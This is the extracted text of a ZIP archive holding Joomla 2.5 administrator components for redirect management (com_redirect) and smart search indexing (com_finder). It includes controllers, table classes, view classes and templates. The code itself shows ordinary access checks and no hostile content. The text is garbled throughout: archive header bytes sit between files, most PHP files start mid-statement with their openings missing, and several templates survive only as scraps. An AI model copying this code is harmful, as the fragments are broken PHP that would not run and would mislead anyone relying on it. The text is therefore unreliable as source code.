LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_REDIRECT_XML_DESCRIPTION Redirect config.xml controller.php index.html redirect.php controllers helpers models tables views language/en-GB.com_redirect.ini language/en-GB.com_redirect.sys.ini PKs>\l<<com_redirect/redirect.phpnuW+Aauthorise('core.manage', 'com_redirect')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Redirect'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\>sI``com_redirect/config.xmlnuW+A
      PKs>\Jǀcom_redirect/access.xmlnuW+A
      PKs>\)!com_redirect/views/link/.htaccessnuW+A Order allow,deny Deny from all PKs>\V"com_redirect/views/link/index.htmlnuW+A PKs>\w++%com_redirect/views/link/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = RedirectHelper::getActions(); JToolBarHelper::title(JText::_('COM_REDIRECT_MANAGER_LINK'), 'redirect'); // If not checked out, can save the item. if ($canDo->get('core.edit')) { JToolBarHelper::apply('link.apply'); JToolBarHelper::save('link.save'); } // This component does not support Save as Copy due to uniqueness checks. // While it can be done, it causes too much confusion if the user does // not change the Old URL. if ($canDo->get('core.edit') && $canDo->get('core.create')) { JToolBarHelper::save2new('link.save2new'); } if (empty($this->item->id)) { JToolBarHelper::cancel('link.cancel'); } else { JToolBarHelper::cancel('link.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::help('JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT'); } } PKs>\)&com_redirect/views/link/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\$ %com_redirect/views/link/tmpl/edit.phpnuW+A
      item->id) ? JText::_('COM_REDIRECT_NEW_LINK') : JText::sprintf('COM_REDIRECT_EDIT_LINK', $this->item->id); ?>
      • form->getLabel('old_url'); ?> form->getInput('old_url'); ?>
      • form->getLabel('new_url'); ?> form->getInput('new_url'); ?>
      • form->getLabel('comment'); ?> form->getInput('comment'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('created_date'); ?> form->getInput('created_date'); ?>
      • form->getLabel('modified_date'); ?> form->getInput('modified_date'); ?>
      • form->getLabel('hits'); ?> form->getInput('hits'); ?>
      PKs>\V'com_redirect/views/link/tmpl/index.htmlnuW+A PKs>\Nxwf f &com_redirect/views/links/view.html.phpnuW+Aenabled = RedirectHelper::isEnabled(); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = RedirectHelper::getActions(); JToolBarHelper::title(JText::_('COM_REDIRECT_MANAGER_LINKS'), 'redirect'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('link.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('link.edit'); } if ($canDo->get('core.edit.state')) { if ($state->get('filter.state') != 2){ JToolBarHelper::divider(); JToolBarHelper::publish('links.publish', 'JTOOLBAR_ENABLE', true); JToolBarHelper::unpublish('links.unpublish', 'JTOOLBAR_DISABLE', true); } if ($state->get('filter.state') != -1 ) { JToolBarHelper::divider(); if ($state->get('filter.state') != 2) { JToolBarHelper::archiveList('links.archive'); } elseif ($state->get('filter.state') == 2) { JToolBarHelper::unarchiveList('links.publish', 'JTOOLBAR_UNARCHIVE'); } } } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'links.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('links.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_redirect'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_REDIRECT_MANAGER'); } } PKs>\V#com_redirect/views/links/index.htmlnuW+A PKs>\)"com_redirect/views/links/.htaccessnuW+A Order allow,deny Deny from all PKs>\)'com_redirect/views/links/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\&1com_redirect/views/links/tmpl/default_addform.phpnuW+A
      PKs>\7PP)com_redirect/views/links/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_redirect'); $canEdit = $user->authorise('core.edit', 'com_redirect'); $canChange = $user->authorise('core.edit.state', 'com_redirect'); ?>
      pagination->getListFooter(); ?>
      id); ?> escape(str_replace(JURI::root(), '', $item->old_url)); ?> escape(str_replace(JURI::root(), '', $item->old_url)); ?> escape($item->new_url); ?> escape($item->referer); ?> created_date, JText::_('DATE_FORMAT_LC4')); ?> published, $i); ?> hits; ?> id; ?>
      items)) : ?> loadTemplate('addform'); ?>
      PKs>\V(com_redirect/views/links/tmpl/index.htmlnuW+A PKs>\)com_redirect/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_redirect/views/index.htmlnuW+A PKs>\Vcom_redirect/helpers/index.htmlnuW+A PKs>\ǧ:!com_redirect/helpers/redirect.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * Returns an array of standard published state filter options. * * @return string The HTML code for the select tag */ public static function publishedOptions() { // Build the active state filter options. $options = array(); $options[] = JHtml::_('select.option', '*', 'JALL'); $options[] = JHtml::_('select.option', '1', 'JENABLED'); $options[] = JHtml::_('select.option', '0', 'JDISABLED'); $options[] = JHtml::_('select.option', '2', 'JARCHIVED'); $options[] = JHtml::_('select.option', '-2', 'JTRASHED'); return $options; } /** * Determines if the plugin for Redirect to work is enabled. * * @return boolean */ public static function isEnabled() { $db = JFactory::getDbo(); $db->setQuery( 'SELECT enabled' . ' FROM #__extensions' . ' WHERE folder = '.$db->quote('system'). ' AND element = '.$db->quote('redirect') ); $result = (boolean) $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } return $result; } } PKs>\xҎxx&com_redirect/helpers/html/redirect.phpnuW+A array('tick.png', 'links.unpublish', 'JENABLED', 'COM_REDIRECT_DISABLE_LINK'), 0 => array('publish_x.png', 'links.publish', 'JDISABLED', 'COM_REDIRECT_ENABLE_LINK'), 2 => array('disabled.png', 'links.unpublish', 'JARCHIVED', 'JUNARCHIVE'), -2 => array('trash.png', 'links.publish', 'JTRASHED', 'COM_REDIRECT_ENABLE_LINK'), ); $state = JArrayHelper::getValue($states, (int) $value, $states[0]); $html = JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true); if ($canChange) { $html = '' . $html.''; } return $html; } } PKs>\)#com_redirect/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_redirect/helpers/html/index.htmlnuW+A PKs>\)com_redirect/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_redirect/index.htmlnuW+A PKs>\)com_redirect/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_finder/.htaccessnuW+A Order allow,deny Deny from all PKs>\) com_finder/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\6!com_finder/controllers/index.htmlnuW+APKs>\M"com_finder/controllers/filters.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\YZ$$'com_finder/controllers/indexer.json.phpnuW+Aget('enable_logging', '0')) { if ($log == null) { $options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}'; $options['text_file'] = 'indexer.php'; $log = JLog::addLogger($options); } } // Log the start JLog::add('Starting the indexer', JLog::INFO); // We don't want this form to be cached. header('Pragma: no-cache'); header('Cache-Control: no-cache'); header('Expires: -1'); // Check for a valid token. If invalid, send a 403 with the error message. JSession::checkToken('request') or $this->sendResponse(new Exception(JText::_('JINVALID_TOKEN'), 403)); // Put in a buffer to silence noise. ob_start(); // Reset the indexer state. FinderIndexer::resetState(); // Import the finder plugins. JPluginHelper::importPlugin('finder'); // Add the indexer language to JS JText::script('COM_FINDER_AN_ERROR_HAS_OCCURRED'); JText::script('COM_FINDER_NO_ERROR_RETURNED'); // Start the indexer. try { // Trigger the onStartIndex event. JDispatcher::getInstance()->trigger('onStartIndex'); // Get the indexer state. $state = FinderIndexer::getState(); $state->start = 1; // Send the response. $this->sendResponse($state); } // Catch an exception and return the response. catch (Exception $e) { $this->sendResponse($e); } } /** * Method to run the next batch of content through the indexer. * * @return void * * @since 2.5 */ public function batch() { static $log; $params = JComponentHelper::getParams('com_finder'); if ($params->get('enable_logging', '0')) { if ($log == null) { $options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}'; $options['text_file'] = 'indexer.php'; $log = JLog::addLogger($options); } } // Log the start JLog::add('Starting the indexer batch process', JLog::INFO); // We don't want this form to be cached. header('Pragma: no-cache'); header('Cache-Control: no-cache'); header('Expires: -1'); // Check for a valid token. If invalid, send a 403 with the error message. JSession::checkToken('request') or $this->sendResponse(new Exception(JText::_('JINVALID_TOKEN'), 403)); // Put in a buffer to silence noise. ob_start(); // Remove the script time limit. @set_time_limit(0); // Get the indexer state. $state = FinderIndexer::getState(); // Reset the batch offset. $state->batchOffset = 0; // Update the indexer state. FinderIndexer::setState($state); // Import the finder plugins. JPluginHelper::importPlugin('finder'); /* * We are going to swap out the raw document object with an HTML document * in order to work around some plugins that don't do proper environment * checks before trying to use HTML document functions. */ $raw = clone(JFactory::getDocument()); $lang = JFactory::getLanguage(); // Get the document properties. $attributes = array ( 'charset' => 'utf-8', 'lineend' => 'unix', 'tab' => ' ', 'language' => $lang->getTag(), 'direction' => $lang->isRTL() ? 'rtl' : 'ltr' ); // Get the HTML document. $html = JDocument::getInstance('html', $attributes); $doc = JFactory::getDocument(); // Swap the documents. $doc = $html; // Get the admin application. $admin = clone(JFactory::getApplication()); // Get the site app. include_once JPATH_SITE . '/includes/application.php'; $site = JApplication::getInstance('site'); // Swap the app. $app = JFactory::getApplication(); $app = $site; // Start the indexer. try { // Trigger the onBeforeIndex event. JDispatcher::getInstance()->trigger('onBeforeIndex'); // Trigger the onBuildIndex event. JDispatcher::getInstance()->trigger('onBuildIndex'); // Get the indexer state. $state = FinderIndexer::getState(); $state->start = 0; $state->complete = 0; // Swap the documents back. $doc = $raw; // Swap the applications back. $app = $admin; // Send the response. $this->sendResponse($state); } // Catch an exception and return the response. catch (Exception $e) { // Swap the documents back. $doc = $raw; // Send the response. $this->sendResponse($e); } } /** * Method to optimize the index and perform any necessary cleanup. * * @return void * * @since 2.5 */ public function optimize() { // We don't want this form to be cached. header('Pragma: no-cache'); header('Cache-Control: no-cache'); header('Expires: -1'); // Check for a valid token. If invalid, send a 403 with the error message. JSession::checkToken('request') or $this->sendResponse(new Exception(JText::_('JINVALID_TOKEN'), 403)); // Put in a buffer to silence noise. ob_start(); // Import the finder plugins. JPluginHelper::importPlugin('finder'); try { // Optimize the index. FinderIndexer::optimize(); // Get the indexer state. $state = FinderIndexer::getState(); $state->start = 0; $state->complete = 1; // Send the response. $this->sendResponse($state); } // Catch an exception and return the response. catch (Exception $e) { $this->sendResponse($e); } } /** * Method to handle a send a JSON response. The body parameter * can be a Exception object for when an error has occurred or * a JObject for a good response. * * @param mixed $data JObject on success, Exception on error. [optional] * * @return void * * @since 2.5 */ public static function sendResponse($data = null) { static $log; $params = JComponentHelper::getParams('com_finder'); if ($params->get('enable_logging', '0')) { if ($log == null) { $options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}'; $options['text_file'] = 'indexer.php'; $log = JLog::addLogger($options); } } $backtrace = null; // Send the assigned error code if we are catching an exception. if ($data instanceof Exception) { JLog::add($data->getMessage(), JLog::ERROR); JResponse::setHeader('status', $data->getCode()); JResponse::sendHeaders(); } // Create the response object. $response = new FinderIndexerResponse($data); // Add the buffer. $response->buffer = JDEBUG ? ob_get_contents() : ob_end_clean(); // Send the JSON response. echo json_encode($response); // Close the application. JFactory::getApplication()->close(); } } /** * Finder Indexer JSON Response Class * * @package Joomla.Administrator * @subpackage com_finder * @since 2.5 */ class FinderIndexerResponse { /** * Class Constructor * * @param mixed $state The processing state for the indexer * * @since 2.5 */ public function __construct($state) { static $log; $params = JComponentHelper::getParams('com_finder'); if ($params->get('enable_logging', '0')) { if ($log == null) { $options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}'; $options['text_file'] = 'indexer.php'; $log = JLog::addLogger($options); } } // The old token is invalid so send a new one. $this->token = JFactory::getSession()->getFormToken(); // Check if we are dealing with an error. if ($state instanceof Exception) { // Log the error JLog::add($state->getMessage(), JLog::ERROR); // Prepare the error response. $this->error = true; $this->header = JText::_('COM_FINDER_INDEXER_HEADER_ERROR'); $this->message = $state->getMessage(); } else { // Prepare the response data. $this->batchSize = (int) $state->batchSize; $this->batchOffset = (int) $state->batchOffset; $this->totalItems = (int) $state->totalItems; $this->startTime = $state->startTime; $this->endTime = JFactory::getDate()->toSQL(); $this->start = !empty($state->start) ? (int) $state->start : 0; $this->complete = !empty($state->complete) ? (int) $state->complete : 0; // Set the appropriate messages. if ($this->totalItems <= 0 && $this->complete) { $this->header = JText::_('COM_FINDER_INDEXER_HEADER_COMPLETE'); $this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_COMPLETE'); } elseif ($this->totalItems <= 0) { $this->header = JText::_('COM_FINDER_INDEXER_HEADER_OPTIMIZE'); $this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_OPTIMIZE'); } else { $this->header = JText::_('COM_FINDER_INDEXER_HEADER_RUNNING'); $this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_RUNNING'); } } } } // Register the error handler. JError::setErrorHandling(E_ALL, 'callback', array('FinderControllerIndexer', 'sendResponse')); PKs>\h̀!com_finder/controllers/filter.phpnuW+Ainput; $lang = JFactory::getLanguage(); $model = $this->getModel(); $table = $model->getTable(); $data = $input->post->get('jform', array(), 'array'); $checkin = property_exists($table, 'checked_out'); $context = "$this->option.edit.$this->context"; $task = $this->getTask(); // Determine the name of the primary key for the data. if (empty($key)) { $key = $table->getKeyName(); } // To avoid data collisions the urlVar may be different from the primary key. if (empty($urlVar)) { $urlVar = $key; } $recordId = $input->get($urlVar, '', 'int'); $session = JFactory::getSession(); $registry = $session->get('registry'); if (!$this->checkEditId($context, $recordId)) { // Somehow the person just went to the form and tried to save it. We don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $recordId)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)); return false; } // Populate the row id from the session. $data[$key] = $recordId; // The save2copy task needs to be handled slightly differently. if ($task == 'save2copy') { // Check-in the original row. if ($checkin && $model->checkin($data[$key]) === false) { // Check-in failed. Go back to the item and display a notice. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError())); $this->setMessage($this->getError(), 'error'); $this->setRedirect('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $urlVar)); return false; } // Reset the ID and then treat the request as for Apply. $data[$key] = 0; $task = 'apply'; } // Access check. if (!$this->allowSave($data, $key)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED')); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)); return false; } // Validate the posted data. // Sometimes the form needs some posted data, such as for plugins and modules. $form = $model->getForm($data, false); if (!$form) { $app->enqueueMessage($model->getError(), 'error'); return false; } // Test whether the data is valid. $validData = $model->validate($form, $data); // Check for validation errors. if ($validData === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if (($errors[$i]) instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState($context . '.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)); return false; } // Get and sanitize the filter data. $validData['data'] = $input->post->get('t', array(), 'array'); $validData['data'] = array_unique($validData['data']); JArrayHelper::toInteger($validData['data']); // Remove any values of zero. if (array_search(0, $validData['data'], true)) { unset($validData['data'][array_search(0, $validData['data'], true)]); } // Attempt to save the data. if (!$model->save($validData)) { // Save the data in the session. $app->setUserState($context . '.data', $validData); // Redirect back to the edit screen. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError())); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)); return false; } // Save succeeded, so check-in the record. if ($checkin && $model->checkin($validData[$key]) === false) { // Save the data in the session. $app->setUserState($context . '.data', $validData); // Check-in failed, so go back to the record and display a notice. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError())); $this->setMessage($this->getError(), 'error'); $this->setRedirect('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key)); return false; } $this->setMessage( JText::_( ($lang->hasKey($this->text_prefix . ($recordId == 0 && $app->isSite() ? '_SUBMIT' : '') . '_SAVE_SUCCESS') ? $this->text_prefix : 'JLIB_APPLICATION') . ($recordId == 0 && $app->isSite() ? '_SUBMIT' : '') . '_SAVE_SUCCESS' ) ); // Redirect the user and adjust session state based on the chosen task. switch ($task) { case 'apply': // Set the record data in the session. $recordId = $model->getState($this->context . '.id'); $this->holdEditId($context, $recordId); $app->setUserState($context . '.data', null); $model->checkout($recordId); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)); break; case 'save2new': // Clear the record id and data from the session. $this->releaseEditId($context, $recordId); $app->setUserState($context . '.data', null); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend(null, $key), false)); break; default: // Clear the record id and data from the session. $this->releaseEditId($context, $recordId); $app->setUserState($context . '.data', null); // Redirect to the list screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)); break; } // Invoke the postSave method to allow for the child class to access the model. $this->postSaveHook($model, $validData); return true; } } PKs>\G;com_finder/controllers/maps.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\e com_finder/controllers/index.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Method to purge all indexed links from the database. * * @return boolean True on success. * * @since 2.5 */ public function purge() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Remove the script time limit. @set_time_limit(0); // Initialize variables. $model = $this->getModel('Index', 'FinderModel'); // Attempt to purge the index. $return = $model->purge(); if (!$return) { $message = JText::_('COM_FINDER_INDEX_PURGE_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_finder&view=index', $message); return false; } else { $message = JText::_('COM_FINDER_INDEX_PURGE_SUCCESS'); $this->setRedirect('index.php?option=com_finder&view=index', $message); return true; } } } PKs>\BTZZcom_finder/tables/filter.phpnuW+AloadArray($array['params']); $array['params'] = (string) $registry; } return parent::bind($array, $ignore); } /** * Method to perform sanity checks on the JTable instance properties to ensure * they are safe to store in the database. Child classes should override this * method to make sure the data they are storing in the database is safe and * as expected before storage. * * @return boolean True if the instance is sane and able to be stored in the database. * * @since 2.5 */ public function check() { if (trim($this->alias) == '') { $this->alias = $this->title; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $this->alias = JFactory::getDate()->format('Y-m-d-H-i-s'); } // Check the end date is not earlier than start up. if ($this->d2 > $this->_db->getNullDate() && $this->d2 < $this->d1) { // Swap the dates. $temp = $this->d1; $this->d1 = $this->d2; $this->d2 = $temp; } return true; } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed $pks An array of primary key values to update. If not * set the instance property value is used. [optional] * @param integer $state The publishing state. eg. [0 = unpublished, 1 = published] [optional] * @param integer $userId The user id of the user performing the operation. [optional] * * @return boolean True on success. * * @since 2.5 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k . '=' . implode(' OR ' . $k . '=', $pks); // Determine if there is checkin support for the table. if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time')) { $checkin = ''; } else { $checkin = ' AND (checked_out = 0 OR checked_out = ' . (int) $userId . ')'; } // Update the publishing state for rows with the given primary keys. $query = $this->_db->getQuery(true); $query->update($this->_db->quoteName($this->_tbl)); $query->set($this->_db->quoteName('state') . ' = ' . (int) $state); $query->where($where); $this->_db->setQuery($query . $checkin); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If checkin is supported and all rows were adjusted, check them in. if ($checkin && (count($pks) == $this->_db->getAffectedRows())) { // Checkin the rows. foreach ($pks as $pk) { $this->checkin($pk); } } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } /** * Method to store a row in the database from the JTable instance properties. * If a primary key value is set the row with that primary key value will be * updated with the instance property values. If no primary key value is set * a new row will be inserted into the database with the properties from the * JTable instance. * * @param boolean $updateNulls True to update fields even if they are null. [optional] * * @return boolean True on success. * * @since 2.5 */ public function store($updateNulls = false) { $date = JFactory::getDate(); $user = JFactory::getUser(); if ($this->filter_id) { // Existing item $this->modified = $date->toMySQL(); $this->modified_by = $user->get('id'); } else { // New item. A filter's created field can be set by the user, // so we don't touch it if it is set. if (!intval($this->created)) { $this->created = $date->toMySQL(); } if (empty($this->created_by)) { $this->created_by = $user->get('id'); } } if (is_array($this->data)) { $this->map_count = count($this->data); $this->data = implode(',', $this->data); } else { $this->map_count = 0; $this->data = implode(',', array()); } // Verify that the alias is unique $table = JTable::getInstance('Filter', 'FinderTable'); if ($table->load(array('alias' => $this->alias)) && ($table->filter_id != $this->filter_id || $this->filter_id == 0)) { $this->setError(JText::_('JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS')); return false; } return parent::store($updateNulls); } } PKs>\] 8&com_finder/tables/link.phpnuW+A\ H H com_finder/tables/map.phpnuW+A_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k . '=' . implode(' OR ' . $k . '=', $pks); // Update the publishing state for rows with the given primary keys. $query = $this->_db->getQuery(true); $query->update($this->_db->quoteName($this->_tbl)); $query->set($this->_db->quoteName('state') . ' = ' . (int) $state); $query->where($where); $this->_db->setQuery($query); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PKs>\)com_finder/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\6com_finder/tables/index.htmlnuW+APKs>\6com_finder/views/index.htmlnuW+APKs>\V"com_finder/views/filter/index.htmlnuW+A PKs>\)&com_finder/views/filter/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\y %com_finder/views/filter/tmpl/edit.phpnuW+A
      • form->getLabel('title'); ?>
        form->getInput('title'); ?>
      • form->getLabel('alias'); ?>
        form->getInput('alias'); ?>
      • form->getLabel('state'); ?>
        form->getInput('state'); ?>
      • form->getLabel('map_count'); ?>
        form->getInput('map_count'); ?>
      item->filter_id, array('useCookie' => 1)); ?>
        form->getGroup('params') as $field): ?>
      • hidden): ?> label; ?> input; ?>
      form->getGroup('details'); ?>
      • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
      • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
      • form->getLabel('created'); ?> form->getInput('created'); ?>
      • item->modified_by) : ?>
      • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
      • form->getLabel('modified'); ?> form->getInput('modified'); ?>
      $this->filter->data)); ?>
      PKs>\V'com_finder/views/filter/tmpl/index.htmlnuW+A PKs>\ 0+ + %com_finder/views/filter/view.html.phpnuW+Afilter = $this->get('Filter'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); JHtml::addIncludePath(JPATH_SITE . '/components/com_finder/helpers/html'); // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { JFactory::getApplication()->input->set('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->filter_id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); $canDo = FinderHelper::getActions(); // Configure the toolbar. JToolBarHelper::title(JText::_('COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE'), 'finder'); // Set the actions for new and existing records. if ($isNew) { // For new records, check the create permission. if ($canDo->get('core.create')) { JToolBarHelper::apply('filter.apply'); JToolBarHelper::save('filter.save'); JToolBarHelper::save2new('filter.save2new'); } JToolBarHelper::cancel('filter.cancel'); } else { // Since it's an existing record, check the edit permission. if ($canDo->get('core.edit')) { JToolBarHelper::apply('filter.apply'); JToolBarHelper::save('filter.save'); // We can save this record, but check the create permission to see if we can return to make a new one. if ($canDo->get('core.create')) { JToolBarHelper::save2new('filter.save2new'); } } // If an existing item, can save as a copy if ($canDo->get('core.create')) { JToolBarHelper::save2copy('filter.save2copy'); } JToolBarHelper::cancel('filter.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT'); } } PKs>\)!com_finder/views/filter/.htaccessnuW+A Order allow,deny Deny from all PKs>\6+com_finder/views/statistics/tmpl/index.htmlnuW+APKs>\g/,com_finder/views/statistics/tmpl/default.phpnuW+A

      data->term_count), number_format($this->data->link_count), number_format($this->data->taxonomy_node_count), number_format($this->data->taxonomy_branch_count)); ?>

      data->type_list as $type) :?>
      type_title;?> link_count);?>
      data->link_count); ?>
      PKs>\)*com_finder/views/statistics/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)%com_finder/views/statistics/.htaccessnuW+A Order allow,deny Deny from all PKs>\6&com_finder/views/statistics/index.htmlnuW+APKs>\ʫ)com_finder/views/statistics/view.html.phpnuW+Adata = $this->get('Data'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); } } PKs>\V#com_finder/views/indexer/index.htmlnuW+A PKs>\ʩ]$!!)com_finder/views/indexer/tmpl/default.phpnuW+A


      PKs>\)'com_finder/views/indexer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V(com_finder/views/indexer/tmpl/index.htmlnuW+A PKs>\)6 88&com_finder/views/indexer/view.html.phpnuW+A\)"com_finder/views/indexer/.htaccessnuW+A Order allow,deny Deny from all PKs>\U/  &com_finder/views/filters/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->total = $this->get('Total'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = FinderHelper::getActions(); JToolBarHelper::title(JText::_('COM_FINDER_FILTERS_TOOLBAR_TITLE'), 'finder'); $toolbar = JToolBar::getInstance('toolbar'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('filter.add'); JToolBarHelper::editList('filter.edit'); JToolBarHelper::divider(); } if ($canDo->get('core.edit.state')) { JToolBarHelper::publishList('filters.publish'); JToolBarHelper::unpublishList('filters.unpublish'); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'filters.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { 